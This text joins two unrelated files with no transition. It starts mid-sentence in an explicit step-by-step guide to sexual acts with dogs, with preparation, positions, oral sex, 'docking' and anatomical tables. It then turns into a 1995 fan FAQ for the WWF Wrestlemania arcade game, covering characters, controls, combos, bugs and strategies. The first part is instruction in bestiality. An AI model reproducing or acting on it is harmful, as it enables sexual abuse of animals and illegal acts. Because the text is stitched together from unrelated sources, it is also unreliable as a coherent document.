during sex. On a German Shepherd Dog, it's normally about three to three
|
||
and a half inches wide, a plenty good handful for most. If you're going
|
||
to have sex with a male dog, the bulb and the Os Penis are your main
|
||
concerns. The Os Penis is a bone inside the shaft of a dog's penis. If
|
||
he gets overly excited and starts thrusting rapidly, you could get jabbed
|
||
with it and, if you do, trust me, you won't sit comfortably for days.
|
||
|
||
If you allow a dog to mount you there is a definate chance that you may
|
||
tie with him--that the bulb, (also known as the knot) will swell inside
|
||
of you and keep you two stuck together. If you do not prepare yourself,
|
||
you could be in for fifteen to thirty minutes of agony. Start loosening
|
||
yourself up using whatever you can fit up your anus. Graduated dildos
|
||
work very well and are available at most adult stores. Wait until you
|
||
are comfortable with at least a three inch circumference before taking
|
||
on a dog.
|
||
|
||
To get a dog to mount you, grasp his sheath gently and start rubbing the base
|
||
of it, near his ballsac. He should, at that time, start thrusting. Some
|
||
dogs will try and mount you right then and there. Remember, if it's his
|
||
first time, he'll need some guidance. Even some old pro's need guidance.
|
||
If he does not try to get on your back, try pulling him up and jerking him
|
||
off as he 'stands' behind you. If he does not want to get on your back, try
|
||
laying on your back, legs hanging off of a couch or bed, and have him lay
|
||
on top of you, on your belly, and try it that way. Once you've got him to
|
||
mount you, attempt to guide his penis into you. Remember, if he misses,
|
||
that os penis can hurt. Once inside of you, you can lave most of what's
|
||
left up to him. If he ties with you it is imperetive he NOT pull out of
|
||
you until he starts getting softer. Otherwise, you may have one hell of
|
||
a story to tell at the Emergency Room!
|
||
|
||
Once tied, the dog will probably try and turn around so that you're butt
|
||
to butt with him. This is an instinctual behaviour. If he starts trying
|
||
to pull out or panics, grab whichever legs you can and try and hold him
|
||
against you so he doesn't pull out. It is a very good idea to have someone
|
||
else present the first time you tie a dog in case of an emergency.
|
||
|
||
Sit back, enjoy fifteen to thirty minutes of elation, then, once he starts
|
||
getting softer, let him pull out of you. Do not lick his penis or touch it
|
||
with your bare hands. Not only will it be very sensitive but there will be
|
||
bacteria on his penis that can make you ill. However, it will not affect
|
||
him.
|
||
|
||
For females...
|
||
The same applies to females for anal and vaginal sex. Those females who
|
||
have spoken up about vaginal sex with male dogs have both said volumes of
|
||
praise about their canine companions and stated having little to no problem
|
||
accomodating the bulb.
|
||
|
||
Some dogs may not want to mount or show an interest in mounting. Others
|
||
will never tie, only sit inside of you. There are also dogs that don't
|
||
turn when they are, or are not, tied. It all depends on the individual
|
||
dog.
|
||
|
||
2 - Anal sex with dogs; Giving
|
||
- --------------------------
|
||
The same written in the section on bitches applies to dogs. Refer to
|
||
Anal Sex (Number Six) above for further information.
|
||
|
||
3 - Oral sex with dogs; On the receiving end
|
||
- ----------------------------------------
|
||
Some dogs are natural born lickers and will lick anything and keep licking
|
||
until whatever their licking is raw. Others will never lick anything in
|
||
their lives. Once again, dogs as individuals will each act differently in
|
||
different situations. The best way to find out how your dog will react is
|
||
to give it a shot. If your dog is not too enthusiastic about licking,
|
||
try using gravy, peanut butter or any other treats you dog might enjoy.
|
||
DO NOT use chocolate based products or chocolate as large amounts of
|
||
chocolate can be toxic for dogs. Both males and females alike have
|
||
testified to the pleasures to be derived from oral sex with dogs.
|
||
|
||
4 - Oral sex with dogs; Giving
|
||
- --------------------------
|
||
A dog's penis is very sensitive so be careful when handling it. When
|
||
exposed, the penis is prone to dry out if not constantly wet. Spit works
|
||
well. Try and avoid smeering it on with your hand. Using your tongue is
|
||
much more fun anyways :)
|
||
|
||
To get a dog aroused, use the same process as described above. Grasp the
|
||
sheath near it's base, close to the dog's ballsac, and start rubbing
|
||
rapidly. You will be able to feel the bulb become more defined within
|
||
the sheath and you must pull the sheath back before it get's too large to
|
||
fit out the slit. Otherwise, your dog will be uncomfortable until his
|
||
erection subsides. When thrusting, you can either take the dog's penis
|
||
into your mouth or coninue to rub beind the knot. You must be very careful
|
||
if you choose to take the dog's penis into your mouth, remembering how
|
||
sensitive it is and keeping him from scraping his member on your teeth.
|
||
|
||
Once fully erect, experiment! Most dogs will just stand and pant away
|
||
happily as you lick, suck, or rub their cocks. Expect him to stay hard
|
||
for five to fifteen minutes on average.
|
||
|
||
Dog cum is quite tasty, usually bitter sweet, and continues to shoot from
|
||
the time he's about half hard and coming out of his sheath to the time when
|
||
he starts going back into his sheath. Refer to the chart below for semen
|
||
volume counts.
|
||
|
||
5 - Oral sex with dogs; Neutered males
|
||
- ----------------------------------
|
||
Most neutered males lack any interest in having sex. Some are capable of
|
||
maintaining a half-erection for a short period of time and ejaculating
|
||
prostatic fluid. If you encounter a neutered male and try masturbating
|
||
him, stop if he seems uncomfortable. Some will be, some won't be, but
|
||
don't expect a neutered male to behave like an un-neutered male. He won't.
|
||
|
||
6 - Docking
|
||
- -------
|
||
Docking is the insertion of the penis into the sheath or muzzle of a dog.
|
||
Once again, tolerance to these activities all depends on the dog. I
|
||
normally strongly discourage docking muzzles. It is exceptionally danger-
|
||
ous and could result in some hard to explain hospital visits. If docking
|
||
the sheath, see how your dog reacts to having a well lubricated finger
|
||
stuck in his sheath. If he doesn't seem to mind, try inserting several
|
||
well lubricated fingers, one at a time, until you've adequately represented
|
||
the width of your own penis. If he continues not to mind, you can try
|
||
inserting your penis into his sheath. Be sure and use plenty of lube. You
|
||
may want ot flush his sheath first with a water enema or a douche. There
|
||
are a number of dead skin cells and bacteria inside the sheath which could
|
||
cause urinary tract or other types of infections.
|
||
|
||
Merry Matings!
|
||
|
||
7 - What does dog semen have in it?
|
||
- -------------------------------
|
||
[ This section compiled by Dogzoo (dogzoo@teleport.com) ]
|
||
|
||
Volume;============================ 7-10 cc with a variation from 0.5 to 20cc
|
||
Water percentage;=========== 97% (highest of animals) vs. man at 90% (lowest)
|
||
|
||
Contents;
|
||
Ash, protein, lipids, potassium, sodium, calcium, magnesium, phosphorus,
|
||
iron, chlorides, sulphur, amino acids, albumins, proteoses,
|
||
nucleoproteins, mucin, albumoses, fat globules, thiamin, riboflavin,
|
||
pantothenic acid, niacin, ascorbic acid, (Vitamin C) enzymes and fructose.
|
||
|
||
Prostate fluid is highly alkaline, which neutralizes acids in the bitches'
|
||
vagina. Naturally, larger dogs produce more semen than smaller breeds.
|
||
|
||
Reference; "Vet obstetrics and genital diseases," S. Roberts,
|
||
Edwards Brothers Publishing
|
||
|
||
8 - How large is a dog's penis?
|
||
- ---------------------------
|
||
[ This section compiled by Doglover (doglover@gears.efn.org) ]
|
||
|
||
Breed________________Useable Length (inches)________________Diameter (inches)
|
||
Cocker Spaniel====== 2.0-3 ================================ 0.5-1
|
||
Greyhound=========== 2.5-3 ================================ 0.5-1
|
||
Bulldog============= 2.5-5 ================================ 1
|
||
Dalmatian=========== 3-4.5 ================================ 1
|
||
Collie============== 4-5 ================================= 1
|
||
Labrador============ 4-6 ================================== 1
|
||
Irish Setter======== 4-6 ================================== 1
|
||
German Shepherd===== 5-7 ================================== 1.5
|
||
Great Dane========== 5-7 ================================== 1.5
|
||
Saint Bernard======= 7-9 ================================== 1.5-1.75
|
||
Mastiff============= 7.5 ================================== 1.5-1.75
|
||
-------------------------------------------------------------------------------
|
||
THE WORLD WRESTLING FEDERATION AND MIDWAY PRESENTS... W R E S T L E M A N I A
|
||
____ __ _______ ____ __ _______ ____ __ _______
|
||
\ \ \ / \ / _____/ \ \ \ / \ / _____/ \ \ \ / \ / _____/
|
||
\ \ \/ /\ \/ /____ \ \ \/ /\ \/ /____ \ \ \/ /\ \/ /____
|
||
\ \ / \ / ___/ \ \ / \ / ___/ \ \ / \ / ___/
|
||
\ \/ /\ \/ / \ \/ /\ \/ / \ \/ /\ \/ /
|
||
\__/ \__/ \__/ \__/ \__/ \__/
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
The World Wrestling Federation and the WWF are registered trademarks of
|
||
Titan Sports.
|
||
|
||
Version 3.1 FAQ. Last modified on August 16th, 1995.
|
||
|
||
***************************************
|
||
*** T A B L E O F C O N T E N T S ***
|
||
***************************************
|
||
"I can't believe what I just saw!"
|
||
|
||
DISCLAIMER ....... "Is that legal?"
|
||
WHAT'S NEW ....... "What a ripoff!"
|
||
INTRODUCTION ..... "Anything can happen here in the World Wrestling Federation"
|
||
CHARACTER PROFILES "It's a total debacle!"
|
||
CONTROLS ......... "Somebody call security!"
|
||
BASIC MOVES ...... "I think he's cheering for me, McMahon!"
|
||
CONCEPTS ......... "He can't get up from that!"
|
||
FEATURES ......... "I can't believe he pulled that off!"
|
||
BUGS ............. "What a moron!"
|
||
RUMOR MILL ....... "I'd hate to be on the receiving end of that one!"
|
||
THROWS ........... "He got exactly what he deserves!"
|
||
REVERSING THROWS . "Wait a minute!" "Quick reversal!"
|
||
COMBOS ........... "Incredible combination move!"
|
||
STRATEGIES ....... "Un-be-liev-able!"
|
||
CHARACTERS ....... "He can't get away with that!"
|
||
DESIGNERS ........ "Put 'er there, pal!"
|
||
CONCLUSION ....... "Aw, that was cheap!"
|
||
CREDITS .......... "This is a complete disaster!"
|
||
|
||
***************************
|
||
*** D I S C L A I M E R ***
|
||
***************************
|
||
"Is that legal?"
|
||
|
||
This document is copyrighted and can be distributed free of charge. This
|
||
document is not to be sold for profit nor to be printed for sale without
|
||
the expressed, written consent from the author. If distributed, please
|
||
indicate credit where credit is due. Any infringements upon this agreement
|
||
will result in libel and legal actions may be sought. Electronic Gaming
|
||
Monthly (EGM), are you listening?
|
||
|
||
**************************
|
||
*** W H A T ' S N E W ***
|
||
**************************
|
||
"What a ripoff!"
|
||
|
||
This game was released nationwide on July 28, 1995 (dedicated) and is now
|
||
beginning to slowly appear across the country. Lots of new things have been
|
||
found including the following:
|
||
|
||
* Fatalities!! The Undertaker has a fatality!
|
||
|
||
* More info on charging up your combo meter!
|
||
|
||
* Bigger, better combos!
|
||
|
||
* Strategies on how to win at WWF!
|
||
|
||
* Correction on who really is Doink
|
||
|
||
*******************************
|
||
*** I N T R O D U C T I O N ***
|
||
*******************************
|
||
"Anything can happen here in the World Wrestling Federation!"
|
||
|
||
There are (only) 8 characters to choose from. They are as follows:
|
||
|
||
1) Doink The Clown
|
||
2) Razor Ramon
|
||
3) The Undertaker
|
||
4) Yokozuna
|
||
5) Shawn Michaels
|
||
6) Bam Bam Bigelow
|
||
7) Bret "The Hit-Man" Hart
|
||
8) Lex Luger
|
||
|
||
Yes, I am also aware that other wrestlers should have made this game. Big
|
||
Daddy Cool Diesel, The 1-2-3 Kid, Jeff Jarrett, and Sid are a few that come
|
||
to mind. Any of these over Doink, no doubt. But, hey, I don't call the
|
||
shots, and when the game was in development, I wsa informed that these were
|
||
the top wrestlers at the time or so the programmers thought.
|
||
|
||
The character selection screen is as follows:
|
||
|
||
/---------------------------------\
|
||
| | |
|
||
| Doink | Razor Ramon |
|
||
| | |
|
||
|---------------------------------|
|
||
| | |
|
||
| The Undertaker | Yokozuna |
|
||
| | |
|
||
|---------------------------------|
|
||
| | |
|
||
| Shawn Michaels | BamBam Bigelow |
|
||
| | |
|
||
|---------------------------------|
|
||
| | |
|
||
| Bret Hart | Lex Luger |
|
||
| | |
|
||
\---------------------------------/
|
||
|
||
Also as with the Mortal Kombat series, random select is Up+Start. It says
|
||
at the top, "CALLA RANDPER" short for call a random person, I suppose.
|
||
It would seem to make better sense if it said "RANDOM SELECT" or something more
|
||
understandable.
|
||
|
||
You can also do a manual palette swap. To change color for your character,
|
||
hold the joystick to the left or right (depending on which character you
|
||
choose) and hit one of the buttons other than block. If you choose Doink,
|
||
The Undertaker, Shawn Michaels, or Bret Hart, you hold the stick to the left
|
||
and hit a button. And with Razor Ramon, Yokozuna, BamBam Bigelow, and Lex
|
||
Luger, you would hold the stick to the right. I don't have a handy list of
|
||
all the colors for all the fighters yet, so go play with this one. Not worth
|
||
my time to record all the colors.
|
||
|
||
******************************************
|
||
*** C H A R A C T E R P R O F I L E S ***
|
||
******************************************
|
||
"It's a total debacle!"
|
||
|
||
Doink The Clown
|
||
Real Name: Matt Osborne (original Doink), NOT Ray Lichicelli (current Doink)
|
||
Height: ??? Origin: ??
|
||
Weight: 235 Alias: ??
|
||
|
||
Razor Ramon
|
||
Real Name: Scott Hall
|
||
Height: 6'7" Origin: Miami, FL
|
||
Weight: 270 Alias: The Bad Guy
|
||
|
||
The Undertaker
|
||
Real Name: Mark Callaway
|
||
Height: 6'11" Origin: Death Valley, CA (naturally)
|
||
Weight: 328 Alias: ??
|
||
|
||
Yokozuna
|
||
Real Name: Rodney Anoia
|
||
Height: 6'1" Origin: The Polynesian Islands
|
||
Weight: 600+ Alias: that really big guy :P
|
||
|
||
Shawn Michaels
|
||
Real Name: Michael Hickenbottom
|
||
Height: 6'2" Origin: San Antonio, TX
|
||
Weight: 230 Alias: The Heartbreak Kid
|
||
|
||
Bam Bam Bigelow
|
||
Real Name: Scott Bigelow
|
||
Height: ?? Origin: Asbury Park, NJ
|
||
Weight: 400 Alias: ??
|
||
|
||
Bret Hart
|
||
Real Name: Bret Hart
|
||
Height: ?? Origin: Calgary, Alberta (Canada)
|
||
Weight: 240 Alias: The Hitman
|
||
|
||
Lex Luger
|
||
Real Name: Larry Pfohl
|
||
Height: ?? Origin: Atlanta, GA
|
||
Weight: 265 Alias: Made in the USA
|
||
|
||
***********************
|
||
*** C O N T R O L S ***
|
||
***********************
|
||
"Somebody call security!"
|
||
|
||
.----. .----.
|
||
| P | | PP |
|
||
\ ^ / `----' `----'
|
||
\ | / .----.
|
||
<- joy stick -> | BL |
|
||
/ | \ `----'
|
||
/ V \ .----. .----.
|
||
| K | | PK |
|
||
`----' `----'
|
||
|
||
|
||
P = punch
|
||
PP = power punch
|
||
BL = defense (block)
|
||
K = kick
|
||
PK = power kick
|
||
|
||
Also, for your convenience,
|
||
F = Forward
|
||
D = Down
|
||
U = Up
|
||
B = Back
|
||
|
||
****************************
|
||
*** B A S I C M O V E S ***
|
||
****************************
|
||
"I think he's cheering for me, McMahon!"
|
||
|
||
Every character has shared basic moves. Here are the basic crucial moves
|
||
needed to survive in Wrestlemania.
|
||
|
||
punch:
|
||
Your basic, normal, punch. If you hit punch repeatedly while you are right
|
||
next to someone, you will sometimes do a mini combo, which ends with you
|
||
throwing your opponent.
|
||
|
||
power punch:
|
||
A more powerful punch. With most of the characters, various extensions to the
|
||
arm will appear. I will note this in the individual character description.
|
||
|
||
kick:
|
||
Your basic, normal, kick. You may can do a few mini-combos with this.
|
||
|
||
power kick:
|
||
A more powerful kick. With most characters, you can also have various
|
||
extensions similarly to the power punches.
|
||
|
||
run: P+K
|
||
After executing the run, you hold down the buttons and you can choose which
|
||
direction to run in (left or right). Much more intuitive than a badly placed
|
||
run button in another Midway game. Also, any moves done after bouncing off
|
||
the ropes are considered High Risk, and do double damage.
|
||
|
||
power throw: PP+PK (some characters)
|
||
Only Bam Bam Bigelow, Lex Luger, and Yokozuna have this throw. This throw can
|
||
be blocked, but once hit by it, you cannot reverse this.
|
||
|
||
hair grab: PP (near opponents head while on the ground)
|
||
After doing certain knock down moves, you can pick up your opponent from the
|
||
canvas and possibly inflict even more damage.
|
||
|
||
grab: FF+PP
|
||
This is the normal grab. After doing a grab, you have the option of doing
|
||
a High Risk Move, mini combo, or true combo. This move cannot be blocked,
|
||
although if done while you are still trying to stand, you will merely get
|
||
shoved.
|
||
|
||
*After grab is done*
|
||
|
||
High Risk Move #1: FF+PP
|
||
High Risk Move #2: DD+PK
|
||
|
||
These are reversible moves which inflict 2x damage when performed on your
|
||
opponent. Other High Risks are available for individual characters, but
|
||
each one has these motions which result in various moves.
|
||
|
||
hip toss: BB+P
|
||
This is very key and to get good at this game will require that you use this
|
||
effectively. This move no longer can be blocked, and once executed, cannot be
|
||
reversed. All characters have this move.
|
||
|
||
rope toss: BB+PP
|
||
This move throws them towards the ropes where the opposing character is
|
||
vulnerable to an open attack until he recovers. This move has its uses here
|
||
and there for it leaves your opponent running helplessly. More effective
|
||
if you are in the center of the ring.
|
||
|
||
shove: BL+P
|
||
This moves shoves a guy away from you. This is quite good for getting people
|
||
away from you to give yourself a little more space. I'm not sure if it does
|
||
damage or not to an opponent. I will try to pay more attention next time.
|
||
|
||
turnbuckle leap:
|
||
Climb up on the turnbuckle. Go ahead, it's fun. While this move cannot be
|
||
blocked, you can get hit while on the turnbuckle *and* as you come down. A
|
||
good counter is a power grab. Also, running away from someone leaping from
|
||
the turnbuckle is a relatively "safe" move. You can also jump on people out of
|
||
the ring with this, except Yokozuna. You cannot block while on the turnbuckle,
|
||
and if you are hit, you sometimes gets knocked out of the ring.
|
||
|
||
drop kick: run+PK
|
||
This move lets you run, then execute a flying attack. This move is quite
|
||
useful and has a good surprising factor.
|
||
|
||
body dive: run+PP
|
||
Very useful just like the drop kick.
|
||
|
||
reverse throw: (FF+PP, DD+PK, etc.)
|
||
Very necessary for surviving in this game. Also, vital for defensive play.
|
||
You perform a reversal with the same motion as you would execute a High
|
||
Risk Move after you grab your opponent. We don't suggest spazzing anymore
|
||
(simply going crazy with buttons and joystick.) The reversals are definitely
|
||
just a battle to see who pulls off the High Risk joystick movements first.
|
||
Very intuitive.
|
||
|
||
power up: spin joystick 720 away from opponent
|
||
Everyone now can power up by spinning the joystick. You can only do it once
|
||
per match, however. Helps to hold down block. If you do this motion away
|
||
from you opponent, you will do a taunt. If you do it while being attacked
|
||
or grabbed, you will simply flash (which is better). After doing this move,
|
||
if you can attack your opponent within the next 5 seconds, it will do 4x
|
||
damage with the notable exception of a combo. (doing a combo + 4x damage
|
||
would be quite unfair).
|
||
|
||
***********************
|
||
*** C O N C E P T S ***
|
||
***********************
|
||
"He can't get up from that!"
|
||
|
||
-- Second Wind --
|
||
|
||
* You must be on the brink of elimination. This means that you must have
|
||
lost 1 round already if the match is scheduled for 3 falls. If you're up
|
||
1 fall to 0 and your opponent pins you, you can't get up.
|
||
*note*: If the match is for 1 fall (Wrestlemania Challenge), there is no
|
||
second wind. Why? I don't know.
|
||
|
||
* Your combo meter must be lit. I don't like this requirement too much
|
||
because after doing a combo, you can hurt yourself because of this.
|
||
|
||
* You must be in the ring. Throwing someone out the ring to kill them is
|
||
a good thing to do!
|
||
|
||
-- Ring Out --
|
||
|
||
If you stay out of the ring for too long, you will start losing
|
||
health. So don't. You only lose health if your opponent remains inside.
|
||
|
||
If you do a basic throw on someone with your back to the ropes, you will heave
|
||
them right over the ropes!
|
||
|
||
Those funny symbols after a round:
|
||
|
||
After each round in which you do something impressive, you will awarded a skill
|
||
bonus by the computer. Various bonuses include Perfects, Quick Victories,
|
||
No Blocking, 2 Round Sweep, etc. These also possibly make the computer harder
|
||
when you do it to them!
|
||
|
||
***********************
|
||
*** F E A T U R E S ***
|
||
***********************
|
||
"I can't believe he pulled that off!"
|
||
|
||
Head-to-Head mode:
|
||
|
||
It's just that. Your basic head to head fighting game setup. The match is
|
||
scheduled for the best 2 out of 3 "falls" or rounds.
|
||
|
||
Co-op mode:
|
||
|
||
Co-op mode is much better now and can be challenging (depending on your
|
||
skill level). If you and your partner survive, you get to stay on the machine
|
||
and fight each other. (good). If you both die, then both of your games are
|
||
over. (bad). Playing co-op is a risk worthy of taking, however. You must
|
||
fight all 8 players (dubbed the Wrestlemania Challenge). It can be quite fun.
|
||
A good tip to fighting co-op mode is to watch your combo meter. Use it often
|
||
for it builds up very quickly. If one person starts a combo, your partner
|
||
should start his. Both of you can use the combo meter if you do it
|
||
simultaneously, so this is key. Another trick is that you can interrupt
|
||
your playing partner's combo. You can hit the person being comboed (or even
|
||
hit your partner) and the combo will stop, but the combo meter will still be
|
||
intact.
|
||
|
||
Playing against the CPU:
|
||
|
||
When you begin playing against the computer, you get the option of striving
|
||
for the International belt or the Heavyweight belt. I personally think the
|
||
Heavyweight belt is more fun and much more challenging, but...
|
||
|
||
In both races for the belt, the matches go inversely in factors of two:
|
||
|
||
[] [] [] [] [] [] []
|
||
One on One 2 on 1 3 on 1 International
|
||
Two on One 3 on 1 Royal Rumble Heavyweight
|
||
|
||
The Royal Rumble is actually a modified rule version. There is no more than
|
||
four people in the ring at once, and being tossed over the top rope does not
|
||
disqualify you. But, yes, you must fight all 8 opponents. Are you tough
|
||
enough for the challenge???
|
||
|
||
***************
|
||
*** B U G S ***
|
||
***************
|
||
"What a moron!"
|
||
|
||
I've found a slew of bugs and wrote some down to let Midway know about it.
|
||
Many have been fixed and some may remain. Some bugs are simple little
|
||
glitches (e.g., BamBam jumping off the turnbuckle just as the opponent
|
||
is getting up and your opponent will be "on fire" until hit). I will not
|
||
list all the small glitches for there are many of them. I will only list
|
||
those which affect gameplay.
|
||
|
||
* Sometimes the CPU will pin me and the game freezes. This has happened to
|
||
me 3 times. All 3 times, both me and the CPU had the combo meter flashing.
|
||
There may or may not be a significance to that.
|
||
|
||
* Also, getting up from a pin can be quite useless. One can sit on the
|
||
turnbuckle and the moment you flinch, you will not get up and die. Also,
|
||
you cannot recover from a repeated attack done repeatedly. An example is
|
||
with Doink's quad happy hammer. I can do this to you all day until the timer
|
||
runs out and you cannot recover from your pin as long as I do this all day.
|
||
I sure hope they fix this one!
|
||
|
||
* Once playing against 2 CPU opponents, I killed the first one and then killed
|
||
the second one, but instead went to pin the first one. He was able to recover
|
||
(get his second wind).
|
||
|
||
* One bug that happened was that my partner started his combo. Somehow I
|
||
reversed it as it began and his combo meter was completely gone! That's
|
||
right, a 0 hit combo (but it will not say this). I reversed it right as it
|
||
started up. Weird.
|
||
|
||
* Undertaker's shadow neck slam reversal causes a bug. First of all, he can't
|
||
turn it into a quad shadow neck slam and second, after he does it, he still
|
||
has shadows following him after he does the move.
|
||
|
||
|
||
* Yet another bug is doing a combo and still retaining your combo meter!
|
||
More on this once it is investigated a little deeper.
|
||
|
||
**************************
|
||
*** R U M O R M I L L ***
|
||
**************************
|
||
"I'd hate to be on the receiving end of that one!"
|
||
|
||
* New CONFIRMED Rumor!! *
|
||
Rumor had it that there may have been fatalities and it has been confirmed
|
||
although the method to do them is still unknown as of this writing.
|
||
The only one discovered so far is with the Undertaker. A coffin will slowly
|
||
come up from the middle of the ring and his opponent will fall into the coffin
|
||
while the coffin closes on him. The coffin will go back down into the ring
|
||
with a tombstone appearing in its place. Rumor has it that The Undertaker
|
||
must stand about 3 inches away and possibly tap down 4 times and press punch.
|
||
More to come once the information starts to flow.
|
||
|
||
* Update on FATALITIES!! *
|
||
YES, the fatality for The Undertaker's has been confirmed and the motion
|
||
to do it is to stand close to your opponent and hit D, D, D, D, + P.
|
||
As far as what conditions are needed to be able to do the fatality as of
|
||
this time are unknown.
|
||
|
||
Rumor also had it that there were NBA-Jam style codes and it is true.
|
||
The only codes found thus far are the following:
|
||
|
||
* tap punch 4+ times during the vs screen and hold it down
|
||
This turns Moves Names On. The names of the moves are listed at the bottom.
|
||
|
||
* tap PK, K, PK, K, during the vs screen
|
||
This turns Drones Meter On. I still didn't see a recovery meter of anything
|
||
for the drones. I will look into this one some more when I get the chance.
|
||
This code seems to do absolutely nothing.
|
||
|
||
* ???
|
||
Disable blocking. It only worked for a 2-player mode, but it is still unclear
|
||
how to enter this code.
|
||
|
||
The rumor mill is always alive with neat stuff. Rumor also has it that
|
||
Mark Turmell may be a secret wrestler in this game, but highly unlikely for
|
||
it would look weird with Mark's head pasted on another wrestler's body.
|
||
|
||
Rumor has it that there will be more codes added later once the final edition
|
||
hits the nation. Now that the game has hit nationwide, hopefully more time
|
||
has been added to enter the codes.
|
||
|
||
Rumor also has it that there may in fact, be an "ultra" combo which would
|
||
take off a lot of life. Hopefully, this isn't implemented for this would
|
||
throw the game balance out the window.
|
||
|
||
*******************
|
||
*** T H R O W S ***
|
||
*******************
|
||
"He got exactly what he deserves!"
|
||
|
||
This is wrestling. You are SUPPOSED TO THROW!
|
||
If someone whines about this, tell them to play Killer Instinct or something.
|
||
This game is definitely not for the no-throw community.
|
||
|
||
There are 4 types of throws.
|
||
|
||
grab) FF+PP
|
||
This is the normal grab that everyone has. Tap forward twice and hitting
|
||
power punch will attempt to grab the opponent. Get the know your throwing
|
||
ranges!! This is important!! Grab from max range! It's the secret to how
|
||
I get a lot of throws off. hehehe
|
||
|
||
power throw) PP+KK
|
||
Some big characters have power throws. These throws are unique for they hold
|
||
them up in the air, then slam them down. What makes these throws really
|
||
good, is that they are NOT reversible. You can't counter a power throw,
|
||
so a character who has a power throw is good. Yoko, Lex, and BamBam are
|
||
the characters who have power throws.
|
||
|
||
hip toss) BB+P
|
||
Whipback throw, also known as a snap mirror (whatever that means). Many times
|
||
when you're repeating punching the face of some guy (using power punches), as
|
||
they are reeling back you can execute a throw in the middle of these punches
|
||
and it will grab them and throw them out of the ring. It's an over the
|
||
shoulder kind of throw. I don't have the exact motions on this one, but Razor
|
||
can do this one pretty good. Also, this throw is quick and not reversible.
|
||
|
||
rope toss) BB+PP
|
||
This slings your opponent against the rope, leaving him helplessly running
|
||
for a brief period of time. You can follow this up with an attack of your
|
||
own. You can get original on this one.
|
||
|
||
After grabbing your opponent, you have many options. Every character has
|
||
2 universal High Risk Moves and mini combos. Mini combos can be reversed
|
||
early once they start. After that, then it's a real combo. Mini combos
|
||
are good because they are easier to start up, plus can potentially do more
|
||
damage than a standard throw. So in essence, mini combos are like real combos
|
||
but they can be broken (combo breaker). Also, you have the option to throw
|
||
if you like. The best of both worlds rolled into one game.
|
||
|
||
Also, bouncing off the ropes and attacking your opponent is considered a High
|
||
Risk Move! Use this to your advantage. If you want to drop kick someone,
|
||
try to bounce off the ropes first, if you can.
|
||
|
||
**************************************
|
||
*** R E V E R S I N G T H R O W S ***
|
||
**************************************
|
||
"Wait a minute!" "Quick reversal!"
|
||
|
||
There are two main ways for reversing (breaking) throws. One is a "clean"
|
||
way and simply do your piledriver motion for your specific character.
|
||
Yet another way (which I see a lot of newbies doing) is the "spaz method".
|
||
Just spaz on the joystick and buttons as if you're breaking out of a dizzy.
|
||
But to save wear and tear on the machines and improve strategy and game play,
|
||
spazing seems to just make you look like a retard and can be quite unreliable.
|
||
|
||
*******************
|
||
*** C O M B O S ***
|
||
*******************
|
||
"Incredible combination move!"
|
||
|
||
Do a lot of special moves (and throws) and your combo meter goes up.
|
||
Certain characters have specific buttons which charge up their respective
|
||
combo meters. For example:
|
||
|
||
Lex Luger can only charge up with PP.
|
||
Yokozuna can charge up with any button.
|
||
Undertaker can only charge up with PK, and K I think.
|
||
|
||
Once more is known, this will be completed.
|
||
|
||
Combos are done by first grabbing your opponent (FF+PP), and then
|
||
performing a "combo initiator" move. Then after doing this, precise timing
|
||
between pre-programmed button sequences will execute the combo.
|
||
|
||
The timing on combos can be tricky at first. To execute the combos requires
|
||
only a few button presses, but I strongly urge that you use multiple button
|
||
presses, so that you will make sure you get the combo you want. It can't
|
||
hurt. I will provide an example of timing.
|
||
|
||
------------------------------------------------------------------------------
|
||
Bret Hart's 16-hit combo:
|
||
|
||
1) do a grab (FF+PP)
|
||
2) now do the PK initiator (FF+PK)
|
||
3) tap PK and bret hart will start by kicking 5 times.
|
||
4) around the 5th kick, tap PP
|
||
5) bret hart with throw 5 punches. start tapping P
|
||
6) bret will do a body slam. as soon the bret finishes the first body
|
||
slam, tap K
|
||
7) bret hart will do 2 more body slams. tap PK after the 3rd body slam
|
||
8) bret hart now will do 3 back breakers. 16-hit combo.
|
||
|
||
Right now, the combo notation looks like this:
|
||
|
||
(grab), FF+PK PP P K PK
|
||
|
||
But will look like this later on once combos get more complex:
|
||
|
||
(grab), <PK>(5), PP(5), P(1), K(2), PK(3) = 16 hits
|
||
------------------------------------------------------------------------------
|
||
|
||
Where the combo initiator is in brackets and the number of hits follows
|
||
each button press. I'm unsure as of this writing the exact number of hits
|
||
that each button press does in each combo, so be patient.
|
||
|
||
Mini-combos:
|
||
|
||
Mini combos are small combos which do not affect your combo meter. These
|
||
combos can be started from a grab or from a close attack (preferably when a
|
||
player is just getting up). To do these attacks, you must hold the stick in
|
||
a direction and hit punch or do special joystick motions.
|
||
|
||
Only the mini combos starting from a grab can be reversed, I believe because
|
||
the way the throw reversal works. If you start a mini combo from a close
|
||
range attack, then it can't be reversed. More to be researched later...
|
||
|
||
Examples of mini combos include:
|
||
|
||
------------------------------------------------------------------------------
|
||
do a grab with bret hart. hold the stick forward and tap P repeatedly.
|
||
voila. 5 hit punch combo.
|
||
|
||
do a grab with razor ramon. do a QCT+P. razor will do a mutiple razor move.
|
||
|
||
Beware!!! Once these mini-combos have started, they can be reversed.
|
||
|
||
Get close to an opponent and hold forward and tap PP. This will also start
|
||
up a mini combo with some characters that is uncounterable. Some of these
|
||
uncounterables end with a throw.
|
||
|
||
As an added bonus, you can "buffer" certain mini combos with throws. Try
|
||
this out with Bret Hart as an example:
|
||
|
||
do a grab with bret hart. hold the stick forward and tap P repeatedly.
|
||
Now immediately do a HCT+P, {P}. you will do a few punches interrupted by
|
||
a quadruple slam. Very key and good for wiping out beginners who can't
|
||
reverse. A little risky, but possibly is worth doing. If you get thrown,
|
||
at least you did some damage with those previous punches. If you throw him,
|
||
you do your throw damage plus the previous punches. Use your judgment.
|
||
------------------------------------------------------------------------------
|
||
***************************
|
||
*** S T R A T E G I E S ***
|
||
***************************
|
||
"Un-be-liev-able!"
|
||
|
||
Each wrestler is different. Razor Ramon does insane damage with his throws,
|
||
so if you're the throwing type, then Razor Ramon is your man. If you like
|
||
sheer brute force, try Yokozuna. For finesse, try Shawn Michaels or Doink.
|
||
Pick a wrestler that suits your needs.
|
||
|
||
A good general strategy that I use is to try to always stay on the left
|
||
side of the screen. (facing right). For me (this is me and it may not apply
|
||
to everyone else), I find it much easier and faster to tap twice towards the
|
||
right than towards the left. So when I'm facing right, I like to grab and
|
||
throw. When facing left, I like to use the hiptoss so that we can switch
|
||
positions. This helps me get more throws off in time and increases my
|
||
throwing percentage.
|
||
|
||
When fighting 3 or more guys by yourself, STAY IN A CORNER!!!
|
||
